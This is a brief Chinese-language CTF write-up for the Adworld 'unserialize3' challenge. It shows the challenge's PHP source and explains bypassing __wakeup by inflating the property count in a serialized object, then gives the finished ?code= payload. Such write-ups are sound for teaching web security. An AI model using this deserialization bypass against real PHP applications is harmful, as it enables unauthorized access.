攻防世界-unserialize3

得到源码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
​

这是一个利用反序列字符串来进行绕过的题,根据提示我们要构造code参数,但是需要绕过wakeup函数

查找资料得知wakeup为魔法函数,在进行unserialize反序列化的时候,首先就要查看有无该函数有的话 就会先执行他:

绕过: 通过测试发现可以通过增加对象的属性个数来进行绕过,根据源码编辑php脚本输出序列化字符串:

 将对象属性由1变为2得到**

O:4:"xctf":2:{s:4:"flag";s:3:"111";}
​

由此可以构造payload

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
​

拿到flag:

攻防世界-unserialize3_第1张图片

 

你可能感兴趣的:(wp,web安全,安全)